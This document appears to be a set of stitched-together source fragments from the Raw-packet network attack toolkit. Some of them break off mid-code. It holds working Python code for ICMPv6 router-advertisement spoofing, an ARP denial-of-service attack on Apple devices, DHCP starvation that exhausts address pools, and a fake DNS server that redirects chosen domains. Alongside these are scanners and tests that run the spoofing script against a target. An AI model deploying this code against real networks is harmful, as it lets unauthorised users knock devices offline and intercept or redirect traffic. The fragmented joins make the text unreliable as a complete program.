self.base.macos_encode_mac_address(ScriptICMPV6ScanTest.Variables.router_mac_address) != \ self.get_ipv6_router_mac_address_over_ssh(): self.restart_network_interface_over_ssh() sleep(10) Popen([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_mac ' + ScriptICMPV6ScanTest.Variables.apple_device_mac_address ], shell=True) sleep(20) current_router_mac_address = self.get_ipv6_router_mac_address_over_ssh( ) while self.base.get_process_pid('/icmpv6_spoof.py') != -1: kill(self.base.get_process_pid('/icmpv6_spoof.py'), SIGTERM) sleep(0.5) self.assertEqual( self.base.macos_encode_mac_address( ScriptICMPV6ScanTest.Variables.your_mac_address), current_router_mac_address) def test03_bad_interface(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.bad_network_interface ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn(ScriptICMPV6ScanTest.Variables.bad_network_interface, icmpv6_spoof_output) def test04_bad_target_mac_address(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_mac ' + ScriptICMPV6ScanTest.Variables.bad_mac_address ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn(ScriptICMPV6ScanTest.Variables.bad_mac_address, icmpv6_spoof_output) def test05_target_ip_without_target_mac(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_ip ' + ScriptICMPV6ScanTest.Variables.bad_ipv6_address ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn('target_mac', icmpv6_spoof_output) def test06_bad_target_ip_address1(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_mac ' + ScriptICMPV6ScanTest.Variables.apple_device_mac_address + ' --target_ip ' + ScriptICMPV6ScanTest.Variables.bad_ipv6_address ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn(ScriptICMPV6ScanTest.Variables.bad_ipv6_address, icmpv6_spoof_output) def test07_bad_target_ip_address2(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_mac ' + ScriptICMPV6ScanTest.Variables.apple_device_mac_address + ' --target_ip ' + ScriptICMPV6ScanTest.Variables.router_ipv6_glob_address ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn(ScriptICMPV6ScanTest.Variables.router_ipv6_glob_address, icmpv6_spoof_output) def test08_bad_target_ip_address3(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_mac ' + ScriptICMPV6ScanTest.Variables.apple_device_mac_address + ' --target_ip ' + ScriptICMPV6ScanTest.Variables.router_ipv6_link_address ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn(ScriptICMPV6ScanTest.Variables.router_ipv6_link_address, icmpv6_spoof_output) def test09_bad_target_ip_address4(self): icmpv6_spoof = run([ 'python3 ' + self.root_path + '/Scripts/ICMPv6/icmpv6_spoof.py -i ' + ScriptICMPV6ScanTest.Variables.test_network_interface + ' --technique 1 --target_mac ' + ScriptICMPV6ScanTest.Variables.apple_device_mac_address + ' --target_ip ' + ScriptICMPV6ScanTest.Variables.your_ipv6_link_address ], shell=True, stdout=PIPE) icmpv6_spoof_output: str = icmpv6_spoof.stdout.decode('utf-8') print(icmpv6_spoof_output) self.assertIn(ScriptICMPV6ScanTest.Variables.your_ipv6_link_address, icmpv6_spoof_output)
# region Send DNS Request packets in scapy def scapy_send_dns_requests(number_of_packets): for _ in range(number_of_packets): dns_request = Ether(src=ethernet_src, dst=ethernet_dst) /\ IP(src=ip_src, dst=ip_dst) /\ UDP(dport=53, sport=randint(1024, 65535)) /\ DNS(id=randint(1, 1000), rd=1, qd=DNSQR(qname="www." + str(randint(1, 1000)) + ".com")) sendp(dns_request, verbose=False) # endregion # region Main function if __name__ == "__main__": Base = Base() execution_time['ARP requests'] = {} execution_time['ARP requests']['Scapy'] = {} execution_time['ARP requests']['Raw-packet'] = {} execution_time['DHCP discover requests'] = {} execution_time['DHCP discover requests']['Scapy'] = {} execution_time['DHCP discover requests']['Raw-packet'] = {} execution_time['DNS requests'] = {} execution_time['DNS requests']['Scapy'] = {} execution_time['DNS requests']['Raw-packet'] = {} for number_of_packets in 10, 100, 1000, 10000:
# endregion # region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Development' # endregion # region Check user, platform and create threads Base = Base() Base.check_user() Base.check_platform() icmpv6 = ICMPv6_raw() icmpv6_scan = ICMPv6Scan() scanner = Scanner() # endregion # region Parse script arguments parser = ArgumentParser(description='RA (Router Advertisement) spoofing') parser.add_argument('-i', '--interface', help='Set interface name for send ARP packets') parser.add_argument('-t', '--target_ip', help='Set target IPv6 link local address', default=None) parser.add_argument('-m', '--target_mac', help='Set target MAC address', default=None)
class ICMPv6Scan: # region Set variables base = None eth = None ipv6 = None icmpv6 = None rawSocket = None network_interface = None your_mac_address = None your_ipv6_link_address = None target_mac_address = None results = None unique_results = None mac_addresses = None vendor_list = None retry_number = 0 timeout = 0 icmpv6_identifier = 0 router_info = None router_search = False # endregion # region Init def __init__(self): self.base = Base() self.eth = Ethernet_raw() self.ipv6 = IPv6_raw() self.icmpv6 = ICMPv6_raw() self.rawSocket = socket(AF_PACKET, SOCK_RAW, htons(0x0003)) self.results = [] self.unique_results = [] self.mac_addresses = [] self.retry_number = 3 self.timeout = 0 self.router_info = {} # region Create vendor list self.vendor_list = self.base.get_mac_prefixes() # endregion # endregion # region Sniffer def sniff(self): while True: packets = self.rawSocket.recvfrom(2048) for packet in packets: # Parse Ethernet header ethernet_header = packet[0:14] ethernet_header_dict = self.eth.parse_header(ethernet_header) # Parse Ethernet header if ethernet_header_dict is None: break # Source MAC address is target mac address if not self.router_search: if self.target_mac_address != "33:33:00:00:00:01": if ethernet_header_dict[ 'source'] != self.target_mac_address: break # Destination MAC address is your MAC address if not self.router_search: if ethernet_header_dict[ 'destination'] != self.your_mac_address: break # Check type of ethernet header if ethernet_header_dict['type'] != self.ipv6.header_type: break # Parse IPv6 header ipv6_header = packet[14:14 + self.ipv6.header_length] ipv6_header_dict = self.ipv6.parse_header(ipv6_header) # Check parse IPv6 header if ipv6_header_dict is None: break # Check IPv6 next header type if ipv6_header_dict['next-header'] != self.icmpv6.packet_type: break # Parse ICMPv6 packet icmpv6_packet = packet[14 + self.ipv6.header_length:] icmpv6_packet_dict = self.icmpv6.parse_packet(icmpv6_packet) # Check parse ICMPv6 packet if icmpv6_packet_dict is None: break if self.router_search: # 134 Type of ICMPv6 Router Advertisement if icmpv6_packet_dict['type'] != 134: break # Save router information self.router_info[ 'router_mac_address'] = ethernet_header_dict['source'] self.router_info['router_ipv6_address'] = ipv6_header_dict[ 'source-ip'] self.router_info['flags'] = hex( icmpv6_packet_dict['flags']) self.router_info['router-lifetime'] = int( icmpv6_packet_dict['router-lifetime']) self.router_info['reachable-time'] = int( icmpv6_packet_dict['reachable-time']) self.router_info['retrans-timer'] = int( icmpv6_packet_dict['retrans-timer']) for icmpv6_ra_option in icmpv6_packet_dict['options']: if icmpv6_ra_option['type'] == 3: self.router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + "/" + \ str(icmpv6_ra_option['value']['prefix-length']) if icmpv6_ra_option['type'] == 5: self.router_info['mtu'] = int( icmpv6_ra_option['value'], 16) if icmpv6_ra_option['type'] == 25: self.router_info['dns-server'] = str( icmpv6_ra_option['value']['address']) # Search router MAC address prefix in vendor list router_mac_prefix = self.eth.get_mac_prefix( self.router_info['router_mac_address']) for vendor_index in range(len(self.vendor_list)): if router_mac_prefix == self.vendor_list[vendor_index][ 'prefix']: self.router_info['vendor'] = self.vendor_list[ vendor_index]['vendor'] # Could not find this prefix in vendor list if 'vendor' not in self.router_info.keys(): self.router_info['vendor'] = "Unknown vendor" else: # 129 Type of ICMPv6 Echo (ping) reply if icmpv6_packet_dict['type'] != 129: break # Check ICMPv6 Echo (ping) reply identifier if icmpv6_packet_dict[ 'identifier'] == self.icmpv6_identifier: self.results.append({ "mac-address": ethernet_header_dict['source'], "ip-address": ipv6_header_dict['source-ip'] }) # endregion # region Sender def send(self): self.your_mac_address = self.base.get_netiface_mac_address( self.network_interface) self.your_ipv6_link_address = self.base.get_netiface_ipv6_link_address( self.network_interface) send_socket = socket(AF_PACKET, SOCK_RAW) send_socket.bind((self.network_interface, 0)) if self.router_search: request = self.icmpv6.make_router_solicit_packet( ethernet_src_mac=self.your_mac_address, ipv6_src=self.your_ipv6_link_address) else: if self.target_mac_address is None: self.target_mac_address = "33:33:00:00:00:01" request = self.icmpv6.make_echo_request_packet( ethernet_src_mac=self.your_mac_address, ethernet_dst_mac=self.target_mac_address, ipv6_src=self.your_ipv6_link_address, ipv6_dst="ff02::1", id=self.icmpv6_identifier) for _ in range(self.retry_number): send_socket.send(request) sleep(0.1) send_socket.close() # endregion # region Scanner def scan(self, network_interface, timeout=3, retry=3, target_mac_address=None, check_vendor=True): # region Set variables self.target_mac_address = target_mac_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) self.icmpv6_identifier = randint(1, 65535) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index]['mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append(self.results[index]['mac-address']) # endregion # region Reset results and mac addresses list self.results = [] self.mac_addresses = [] # endregion # region Get vendors for result_index in range(len(self.unique_results)): # Get current MAC address prefix current_mac_prefix = self.eth.get_mac_prefix( self.unique_results[result_index]['mac-address']) # Search this prefix in vendor list for vendor_index in range(len(self.vendor_list)): if current_mac_prefix == self.vendor_list[vendor_index][ 'prefix']: self.unique_results[result_index][ 'vendor'] = self.vendor_list[vendor_index]['vendor'] break # Could not find this prefix in vendor list if 'vendor' not in self.unique_results[result_index].keys(): self.unique_results[result_index]['vendor'] = "Unknown vendor" # endregion # region Return results return self.unique_results # endregion # endregion # region Search IPv6 router def search_router(self, network_interface, timeout=3, retry=3): # region Set variables self.router_search = True self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Wait sleep(self.timeout) # endregion # region Return results return self.router_info
class AppleArpDos: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _arp: RawARP = RawARP() _sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None} _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None} _quit: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start ARP DOS Apple device def start(self, target_ip_address: Union[None, str] = None, target_mac_address: Union[None, str] = None, quit: bool = False) -> None: """ Start ARP DOS Apple device :param target_ip_address: Target IPv4 address (example: '192.168.0.1') :param target_mac_address: Target MAC address (example: '12:34:56:78:90:ab') :param quit: Quit mode (default: False) :return: None """ try: # region Set variables self._quit = quit # endregion # region Set target self._target = self._utils.set_ipv4_target(network_interface=self._your['network-interface'], target_ipv4_address=target_ip_address, target_mac_address=target_mac_address, target_vendor='apple', exclude_ipv4_addresses=[]) # endregion # region Start _sniffer self._thread_manager.add_task(self._sniffer) # endregion # region Send first Multicast ARP request packets sleep(3) if not self._quit: self._base.print_warning('Send initial ARP requests') self._send_arp_requests(count_of_packets=10) # endregion # region Wait for completion self._thread_manager.wait_for_completion() # endregion except AssertionError as Error: if not self._quit: self._base.print_error(Error.args[0]) exit(1) except KeyboardInterrupt: if not self._quit: self._base.print_info('Exit') exit(0) # endregion # region ARP request sender def _send_arp_requests(self, count_of_packets: int = 10) -> None: """ Send initial network conflict ARP request packets :param count_of_packets: Count if ARP request packets (default: 10) :return: None """ random_ip_address: str = self._base.get_random_ip_on_interface(self._your['network-interface']) arp_init_request = self._arp.make_request(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac='00:00:00:00:00:00', target_ip=random_ip_address) self._raw_send.send_packet(packet=arp_init_request, count=count_of_packets, delay=0.5) # endregion # region ARP reply sender def _send_arp_reply(self) -> None: """ Send network conflict ARP reply packet :return: None """ arp_reply = self._arp.make_response(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac=self._target['mac-address'], target_ip=self._target['ipv4-address']) self._raw_send.send_packet(packet=arp_reply) if not self._quit: self._base.print_info('ARP response to: ', self._target['ipv4-address'], ' "' + self._target['ipv4-address'] + ' is at ' + self._your['mac-address'] + '"') # endregion # region Analyze packet def _analyze(self, packet: Dict) -> None: """ Analyze parsed network packet dictionary :param packet: Parsed network packet dictionary :return: None """ # region ARP packet if 'ARP' in packet.keys(): if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['target-mac'] == '00:00:00:00:00:00' and \ packet['ARP']['sender-mac'] == self._target['mac-address'] and \ packet['ARP']['target-ip'] == self._target['ipv4-address'] and \ packet['ARP']['sender-ip'] == self._target['ipv4-address']: if not self._quit: self._base.print_info('ARP Announcement for: ', packet['ARP']['target-ip'] + ' (' + packet['ARP']['sender-ip'] + ')') self._send_arp_reply() # endregion # region DHCPv4 packet else: if 'DHCPv4' in packet.keys(): if packet['DHCPv4'][53] == 4: self._base.print_success('DHCPv4 Decline from: ', packet['Ethernet']['source'], ' IPv4 address conflict detection!') if packet['DHCPv4'][53] == 3: if 50 in packet['DHCPv4'].keys(): self._target['ipv4-address'] = str(packet['DHCPv4'][50]) self._send_arp_requests(count_of_packets=10) if not self._quit: self._base.print_success('DHCPv4 Request from: ', self._target['mac-address'], ' requested ip: ', self._target['ipv4-address']) # endregion # endregion # region Sniff ARP and DHCP request from target def _sniffer(self) -> None: """ Sniff ARP and DHCPv4 packets :return: None """ self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._analyze, filters={'Ethernet': {'source': self._target['mac-address']}, 'ARP': {'opcode': 1}, 'IPv4': {'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255'}, 'UDP': {'source-port': 68, 'destination-port': 67}}, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target['mac-address'])
class ArpScan: # region Set variables base = None eth = None arp = None rawSocket = None network_interface = None your_mac_address = None your_ip_address = None target_ip_address = None results = None unique_results = None mac_addresses = None mac_prefixes_file = None vendor_list = None retry_number = 0 timeout = 0 # endregion # region Init def __init__(self): self.base = Base() self.eth = Ethernet_raw() self.arp = ARP_raw() self.rawSocket = socket(AF_PACKET, SOCK_RAW, htons(0x0003)) self.results = [] self.unique_results = [] self.mac_addresses = [] self.mac_prefixes_file = "mac-prefixes.txt" self.vendor_list = [] self.retry_number = 3 self.timeout = 0 # endregion # region Sniffer def sniff(self): while True: packets = self.rawSocket.recvfrom(2048) for packet in packets: # Parse Ethernet header ethernet_header = packet[0:14] ethernet_header_dict = self.eth.parse_header(ethernet_header) # Success parse Ethernet header if ethernet_header_dict is not None: # 2054 - Type of ARP packet (0x0806) if ethernet_header_dict['type'] == 2054: # Destination MAC address is your MAC address if ethernet_header_dict[ 'destination'] == self.your_mac_address: # Parse ARP packet arp_header = packet[14:42] arp_header_dict = self.arp.parse_packet(arp_header) # Success parse ARP packet if arp_header_dict is not None: # ARP opcode == 2 (2 - ARP reply) if arp_header_dict['opcode'] == 2: # ARP target MAC address is your MAC address if arp_header_dict[ 'target-mac'] == self.your_mac_address: # ARP target IP address is your IP address if arp_header_dict[ 'target-ip'] == self.your_ip_address: # Parameter Target IP address is None if self.target_ip_address is None: self.results.append({ "mac-address": arp_header_dict[ 'sender-mac'], "ip-address": arp_header_dict[ 'sender-ip'] }) # Parameter Target IP address is Set else: if arp_header_dict[ 'sender-ip'] == self.target_ip_address: self.results.append({ "mac-address": arp_header_dict[ 'sender-mac'], "ip-address": arp_header_dict[ 'sender-ip'] }) # endregion # region Sender def send(self): arp_requests = [] self.your_mac_address = self.base.get_netiface_mac_address( self.network_interface) self.your_ip_address = self.base.get_netiface_ip_address( self.network_interface) first_ip_address = self.base.get_netiface_first_ip( self.network_interface, 1) last_ip_address = self.base.get_netiface_last_ip( self.network_interface, -2) if self.target_ip_address is not None: if self.base.ip_address_in_range(self.target_ip_address, first_ip_address, last_ip_address): first_ip_address = self.target_ip_address last_ip_address = self.target_ip_address else: self.base.print_error( "Bad target IP address: ", self.target_ip_address, "; Target IP address must be in range: ", first_ip_address + " - " + last_ip_address) exit(1) index = 0 while True: try: current_ip_address = str( IPv4Address(unicode(first_ip_address)) + index) except NameError: current_ip_address = str(IPv4Address(first_ip_address) + index) index += 1 try: if IPv4Address(unicode(current_ip_address)) > IPv4Address( unicode(last_ip_address)): break except NameError: if IPv4Address(current_ip_address) > IPv4Address( last_ip_address): break arp_request = self.arp.make_request( ethernet_src_mac=self.your_mac_address, ethernet_dst_mac="ff:ff:ff:ff:ff:ff", sender_mac=self.your_mac_address, sender_ip=self.your_ip_address, target_mac="00:00:00:00:00:00", target_ip=current_ip_address) arp_requests.append(arp_request) try: send_socket = socket(AF_PACKET, SOCK_RAW) send_socket.bind((self.network_interface, 0)) number_of_requests = len(arp_requests) * int(self.retry_number) index_of_request = 0 percent_complete = 0 for _ in range(int(self.retry_number)): for arp_request in arp_requests: send_socket.send(arp_request) index_of_request += 1 new_percent_complete = int( float(index_of_request) / float(number_of_requests) * 100) if new_percent_complete > percent_complete: stdout.write('\r') stdout.write(self.base.c_info + 'Scan percentage: ' + self.base.cINFO + str(new_percent_complete) + '%' + self.base.cEND) stdout.flush() sleep(0.01) percent_complete = new_percent_complete stdout.write('\n') send_socket.close() except OSError as e: self.base.print_error('Exception: ', str(e)) exit(1) except error as e: self.base.print_error('Exception: ', str(e)) exit(1) # endregion # region Scanner def scan(self, network_interface, timeout=3, retry=3, target_ip_address=None, check_vendor=True, exclude_ip_address=None): # region Set variables self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Create vendor list if check_vendor: self.vendor_list = self.base.get_mac_prefixes() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index]['mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append(self.results[index]['mac-address']) # endregion # region Reset results and mac addresses list self.results = [] self.mac_addresses = [] # endregion # region Exclude IP address if exclude_ip_address is not None: self.results = self.unique_results self.unique_results = [] for index in range(len(self.results)): if self.results[index]['ip-address'] != exclude_ip_address: self.unique_results.append(self.results[index]) self.results = [] # endregion # region Get vendors for result_index in range(len(self.unique_results)): # Get current MAC address prefix current_mac_prefix = self.eth.get_mac_prefix( self.unique_results[result_index]['mac-address']) # Search this prefix in vendor list for vendor_index in range(len(self.vendor_list)): if current_mac_prefix == self.vendor_list[vendor_index][ 'prefix']: self.unique_results[result_index][ 'vendor'] = self.vendor_list[vendor_index]['vendor'] break # Could not find this prefix in vendor list if 'vendor' not in self.unique_results[result_index].keys(): self.unique_results[result_index]['vendor'] = "Unknown vendor" # endregion # region Return results return self.unique_results # endregion # endregion # region Get MAC address def get_mac_address(self, network_interface, target_ip_address, timeout=5, retry=5, exit_on_failure=True): try: # region Set variables self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Wait sleep(self.timeout) # endregion # region Return if 'mac-address' in self.results[0].keys(): return self.results[0]['mac-address'] else: return "ff:ff:ff:ff:ff:ff" # endregion except IndexError: if exit_on_failure: self.base.print_error( "Could not find MAC address of IP address: ", target_ip_address) exit(1) else: return "ff:ff:ff:ff:ff:ff" except KeyboardInterrupt: self.base.print_info("Exit") exit(0)
def send_dhcp_discover(): sleep(1) eth = Ethernet_raw() dhcp = DHCP_raw() Base.print_info("Sending discover packets...") Base.print_info("Delay between DISCOVER packets: ", str(args.delay), " sec.") Base.print_info("Start sending packets: ", str(datetime.now().strftime("%Y/%m/%d %H:%M:%S"))) discover_raw_socket = socket(AF_PACKET, SOCK_RAW) discover_raw_socket.bind((listen_network_interface, 0)) try: while True: client_mac = eth.get_random_mac() transaction_id = randint(1, 4294967295) discover_packet = dhcp.make_request_packet( source_mac=your_mac_address, client_mac=client_mac, transaction_id=transaction_id, dhcp_message_type=1, host_name=None, requested_ip=None, option_value=dhcp_option_value, option_code=dhcp_option_code, relay_agent_ip=your_ip_address) discover_raw_socket.send(discover_packet) transactions[transaction_id] = client_mac if int(time() - start_time) > args.timeout: if ack_received: Base.print_success( "IP address pool is exhausted: ", str(datetime.now().strftime("%Y/%m/%d %H:%M:%S"))) else: Base.print_error("DHCP Starvation failed timeout!") sleep(1) exit(1) sleep(int(args.delay)) except KeyboardInterrupt: Base.print_info("Exit") discover_raw_socket.close() exit(0)
# endregion # region Main function if __name__ == '__main__': # region Raw-packet modules path.append(dirname(dirname(dirname(abspath(__file__))))) from raw_packet.Utils.base import Base from raw_packet.Utils.network import RawEthernet, RawARP, RawIPv4, RawUDP, RawDHCPv4 from raw_packet.Utils.tm import ThreadManager # endregion # region Check user, platform and create threads base = Base() base.check_user() base.check_platform() tm = ThreadManager(3) # endregion # region Set variables eth: RawEthernet = RawEthernet() arp: RawARP = RawARP() ip: RawIPv4 = RawIPv4() udp: RawUDP = RawUDP() dhcp: RawDHCPv4 = RawDHCPv4() # endregion try: # region Parse script arguments
def send_dhcp_request(request): # region Global variables global start_time global ack_received global transactions global dhcp_server_ip global dhcp_server_mac global global_socket # endregion if 'DHCP' in request.keys(): # region Get reply transaction id, client ip xid = request['BOOTP']['transaction-id'] yiaddr = request['BOOTP']['your-ip-address'] siaddr = request['BOOTP']['server-ip-address'] # endregion # region Get DHCP server IP if dhcp_server_ip is None: if siaddr == "0.0.0.0": dhcp_server_ip = request['IP']['source-ip'] else: dhcp_server_ip = siaddr dhcp_server_mac = request['Ethernet']['source'] # endregion # region Rewrite start time start_time = time() # endregion # region DHCP OFFER if request['DHCP'][53] == 2: if args.find_dhcp: Base.print_success("DHCP server IP: ", dhcp_server_ip) Base.print_success("DHCP server MAC: ", dhcp_server_mac) Base.print_success("DHCP packet: ") print(dumps(request, indent=4)) exit(0) Base.print_info("OFFER from: ", dhcp_server_ip, " your client ip: ", yiaddr) try: if args.not_send_hostname: host_name = None else: host_name = Base.make_random_string(8) dhcp = DHCP_raw() request_packet = dhcp.make_request_packet( source_mac=your_mac_address, client_mac=transactions[xid], transaction_id=xid, dhcp_message_type=3, host_name=host_name, requested_ip=yiaddr, option_value=dhcp_option_value, option_code=dhcp_option_code, relay_agent_ip=your_ip_address) global_socket.send(request_packet) except KeyError: Base.print_error("Key error, this transaction id: ", hex(xid), " not found in our transactions!") except: Base.print_error("Unknown error!") # endregion # region DHCP ACK if request['DHCP'][53] == 5: ack_received = True Base.print_info("ACK from: ", dhcp_server_ip, " your client ip: ", yiaddr) # endregion # region DHCP NAK if request['DHCP'][53] == 6: Base.print_error("NAK from: ", dhcp_server_ip, " your client ip: ", yiaddr)
# region Authorship information __author__ = 'Vladimir Ivanov' __copyright__ = 'Copyright 2019, Raw-packet Project' __credits__ = [''] __license__ = 'MIT' __version__ = '0.0.4' __maintainer__ = 'Vladimir Ivanov' __email__ = '*****@*****.**' __status__ = 'Development' # endregion # region Main function if __name__ == "__main__": # region Check user, platform and print banner Base = Base() Base.check_user() Base.check_platform() Base.print_banner() # endregion # region Parse script arguments parser = ArgumentParser(description='ARP scan local network') parser.add_argument('-i', '--interface', type=str, help='Set interface name for ARP scanner') parser.add_argument('-I', '--target_ip', type=str,
if __name__ == '__main__': # region Import Raw-packet classes project_root_path = dirname(dirname(dirname(abspath(__file__)))) sys_path.append(project_root_path) from raw_packet.Utils.base import Base from raw_packet.Scanners.scanner import Scanner from raw_packet.Scanners.arp_scanner import ArpScan from raw_packet.Scanners.icmpv6_scanner import ICMPv6Scan from raw_packet.Utils.tm import ThreadManager from raw_packet.Utils.network import RawSniff from raw_packet.Servers.dns_server import RawDnsServer # endregion # region Init Raw-packet classes base: Base = Base() scanner: Scanner = Scanner() arp_scan: ArpScan = ArpScan() icmpv6_scan: ICMPv6Scan = ICMPv6Scan() dns_server: RawDnsServer = RawDnsServer() thread_manager: ThreadManager = ThreadManager(5) # endregion # region Check user, platform and print banner base.check_user() base.check_platform() base.print_banner() # endregion # region Variables target_mac_address: Union[None, str] = None
class DnsServer: # region Set variables base = None sniff = None dns = None rawSocket = None network_interface = None port = 0 your_mac_address = None your_ip_address = None your_ipv6_addresses = None target_ip_address = None target_ipv6_address = None fake_answers = False fake_domains = [] fake_addresses = {} no_such_names = [] DNS_QUERY_TYPES = [] A_DNS_QUERY = 0 AAAA_DNS_QUERY = 0 # endregion # region Init def __init__(self): self.base = Base() self.sniff = Sniff_raw() self.dns = DNS_raw() self.rawSocket = socket(AF_PACKET, SOCK_RAW) self.port = 53 self.A_DNS_QUERY = 1 self.AAAA_DNS_QUERY = 28 # endregion # region Get first IPv4 or IPv6 address of domain @staticmethod def _get_domain_address(query_name, query_type=1): # Set proto if query_type == 28: proto = AF_INET6 else: proto = AF_INET try: # Get list of addresses addresses = getaddrinfo(query_name, None, proto) # Return first address from list return [addresses[0][4][0]] except gaierror: # Could not resolve name return None # endregion # region DNS reply function def _reply(self, request): # region This request is DNS query if 'DNS' in request.keys(): for request_query in request['DNS']['queries']: # region Get DNS query type query_type = request_query['type'] # endregion # region Type of DNS query type: A or AAAA if query_type in self.DNS_QUERY_TYPES: try: # region Local variables query_class = request_query['class'] answer = [] addresses = None # endregion # region Create query list if request_query['name'].endswith("."): query_name = request_query['name'][:-1] else: query_name = request_query['name'] query = [{ "type": query_type, "class": query_class, "name": query_name }] # endregion # region Script arguments condition check # region Variable fake_answers is True if self.fake_answers: addresses = self.fake_addresses[query_type] # endregion # region Variable fake_answers is False else: # region Fake domains list is set if len(self.fake_domains) > 0: # region Fake domains list is set and DNS query name in fake domains list if query_name in self.fake_domains: # region A DNS query if query_type == self.A_DNS_QUERY: # Fake IPv4 is set if self.A_DNS_QUERY in self.fake_addresses.keys( ): if len(self.fake_addresses[ self.A_DNS_QUERY]) > 0: addresses = self.fake_addresses[ self.A_DNS_QUERY] # Fake IPv4 is NOT set else: addresses = self._get_domain_address( query_name, query_type) # endregion # region AAAA DNS query if query_type == self.AAAA_DNS_QUERY: # Fake IPv6 is set if self.AAAA_DNS_QUERY in self.fake_addresses.keys( ): if len(self.fake_addresses[ self.AAAA_DNS_QUERY]) > 0: addresses = self.fake_addresses[ self.AAAA_DNS_QUERY] # Fake IPv6 is NOT set else: addresses = self._get_domain_address( query_name, query_type) # endregion # endregion # region Fake domains list is set and DNS query name NOT in fake domains list else: addresses = self._get_domain_address( query_name, query_type) # endregion # endregion # region Fake domains list is NOT set else: # region A DNS query if query_type == self.A_DNS_QUERY: # Fake IPv4 is set if self.A_DNS_QUERY in self.fake_addresses.keys( ): if len(self.fake_addresses[ self.A_DNS_QUERY]) > 0: addresses = self.fake_addresses[ self.A_DNS_QUERY] # Fake IPv4 is NOT set else: addresses = self._get_domain_address( query_name, query_type) # endregion # region AAAA DNS query if query_type == self.AAAA_DNS_QUERY: # Fake IPv6 is set if self.AAAA_DNS_QUERY in self.fake_addresses.keys( ): if len(self.fake_addresses[ self.AAAA_DNS_QUERY]) > 0: addresses = self.fake_addresses[ self.AAAA_DNS_QUERY] # Fake IPv6 is NOT set else: addresses = self._get_domain_address( query_name, query_type) # endregion # endregion # endregion # endregion # region Query name in no_such_names list if query_name in self.no_such_names: addresses = ['no such name'] # endregion # region Answer addresses is set if addresses is not None: # region Create answer list dns_answer_flags = 0x8580 for address in addresses: if address == 'no such name': dns_answer_flags = 